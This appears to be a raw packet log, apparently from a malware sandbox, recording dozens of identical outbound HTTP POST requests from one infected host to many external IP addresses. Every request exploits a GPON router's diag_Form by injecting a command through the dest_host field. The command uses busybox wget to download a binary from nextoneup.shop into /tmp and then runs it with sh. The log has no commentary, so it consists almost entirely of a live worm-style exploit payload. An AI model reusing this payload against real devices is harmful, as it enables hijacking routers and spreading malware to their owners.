Apr 14, 2024 03:59:56.166812897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.23	47160	79.127.100.108	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166881084 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.23	36950	94.161.62.40	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166914940 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.23	49814	2.166.41.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166929007 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.23	52578	117.80.34.110	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166973114 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.23	42452	109.62.122.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166996956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.23	50434	94.184.89.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167028904 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.23	35644	202.97.24.64	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167072058 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.23	42874	212.79.106.221	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167104959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.23	48528	2.185.82.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167144060 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.23	53592	5.112.10.108	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167161942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.23	54298	109.238.182.98	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167205095 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.23	53410	42.140.65.223	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167237043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.23	38906	117.165.163.17	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167279005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.23	37138	117.210.174.250	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167304993 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.23	56440	79.60.201.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167347908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.23	40084	117.4.120.145	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167376995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.23	33040	79.166.74.219	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167433023 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.23	50598	178.214.77.226	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167464018 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.23	58320	2.250.216.235	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167494059 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.23	56890	5.5.80.220	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167521000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.23	54378	118.28.133.221	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167563915 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.23	32806	2.246.89.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167618990 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.23	33752	118.36.157.145	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167671919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.23	33416	94.8.35.219	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167675972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.23	50494	2.50.233.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167718887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
